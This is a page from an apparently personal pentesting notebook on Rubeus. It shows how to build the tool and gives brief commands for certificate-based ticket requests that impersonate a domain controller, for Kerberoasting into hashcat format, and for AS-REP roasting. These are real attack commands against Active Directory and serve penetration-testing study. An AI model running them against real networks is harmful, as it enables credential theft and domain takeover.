☕
Brinkles Pentesting Notebook
  • Introduction
    • My Journey to Pentesting
    • Twitter
    • Github
  • Certification Reviews
    • OSEP Review
    • CISSP Review
    • OSCP Review
    • RTJC Review
    • RTAC Review
    • CEH Review
    • CRTO Review
    • PNPT Review
    • eWPT Review
    • eJPTv1 Review
    • CCNP Security Review
    • CCNA Review
    • CompTIA Net +, A+ Review
  • C2 and Payloads
    • Sliver C2
    • Cobalt Strike
      • BOFs and Aggressor Scripts
        • Situational Awareness BOF
        • HOLLOW BOF
        • DLL_Version_Enumeration_BOF
        • InlineExecute-Assembly BOF
        • BOF.NET
        • C2-Tool-Collection BOFs
        • Inline-Execute-PE
      • Payloads
  • Tools
    • Internal Tools
      • BloodHound
      • Certi
      • Coercer
      • CrackMapExec
      • DCSync
      • DFSCoerce
      • DonPAPI
      • WMIEXEC
      • Kerberoasting
      • Lsassy
      • mitm6
      • Pcredz
      • PowerSploit
      • PrivExchange
      • Responder / RunFinger
      • Rubeus
      • Seatbelt
      • Seth
    • Web App Pentesting
      • Payload All The Things
        • Directory traversal
          • Deep Traversal
          • More Directory Traversal Payloads
        • SAML Injection
        • XXE - XML External Entity
        • XSS - Cross Site Scripting
        • XSLT Injection
        • XPATH injection
        • Upload Insecure Files
        • SQL injection
          • MSSQL Injection
          • MYSQL Injection
          • Oracle SQL Injection
          • PostgreSQL injection
          • SQLite Injection
        • Server Side Templates Injections
        • Server-Side Request Forgery
          • Payloads Included in Server-Side Request Forgery
        • Request Smuggling
        • OAuth
        • NoSQL injection
        • LDAP injection
        • Kubernetes
        • JSON Web Token
        • HTTP Parameter Pollution
        • GraphQL injection
        • CORS Misconfiguration
        • CRLF
        • Cross-Site Request Forgery
        • CSV Injection (Formula Injection)
        • File Inclusion
          • PHPINFOlfi.py
          • uploadlfi.py
  • Network Security
    • DMVPN GRE NHRP IPsec Profiles
    • Flex VPNs
    • GET VPN with Key Server
    • IKE Site to Site w/ IPSec
    • Point to Point GRE over IPSec
    • Remote Access VPN
    • Helpful Cisco Firewall CLI Commands
Powered by GitBook
On this page
  • Building Rubeus
  • Importing ticket with certificate
  • Kerberoasting
  • Asreproast

Rubeus

Building Rubeus

Open the .sln in visual studio and go to Build > Build Rubeus before the expired license comes up ;)

By default, it installs the exe in the Rubeus\bin\Debug\ folder.

Importing ticket with certificate

$ Rubeus.exe asktgt /user:DC# /domain:<domain name> /certificate:<base cert> /ptt

After this you should get "Ticket Successfully Imported"

At this point you are effectively that DC, you can then runs things almost as a Domain Admin. Such as dcsync for a DA account

Kerberoasting

$ Rubeus.exe kerberoast /outfile:kerbhashes.txt /format:hashcat /domain:<domain> /dc:<FQDN of dc> /creduser:<user>

Asreproast

On a ps instance being ran as netuser for the cracked user account....

$ .\Rubeus.exe asreproast

If no users have 'Do not require Kerberos preauth' checked, then there wont be any users to roast. But if there is....

We get a hash for the user and crack it!

PreviousResponder / RunFingerNextSeatbelt

Last updated 2 years ago

Page cover image
LogoGitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.GitHub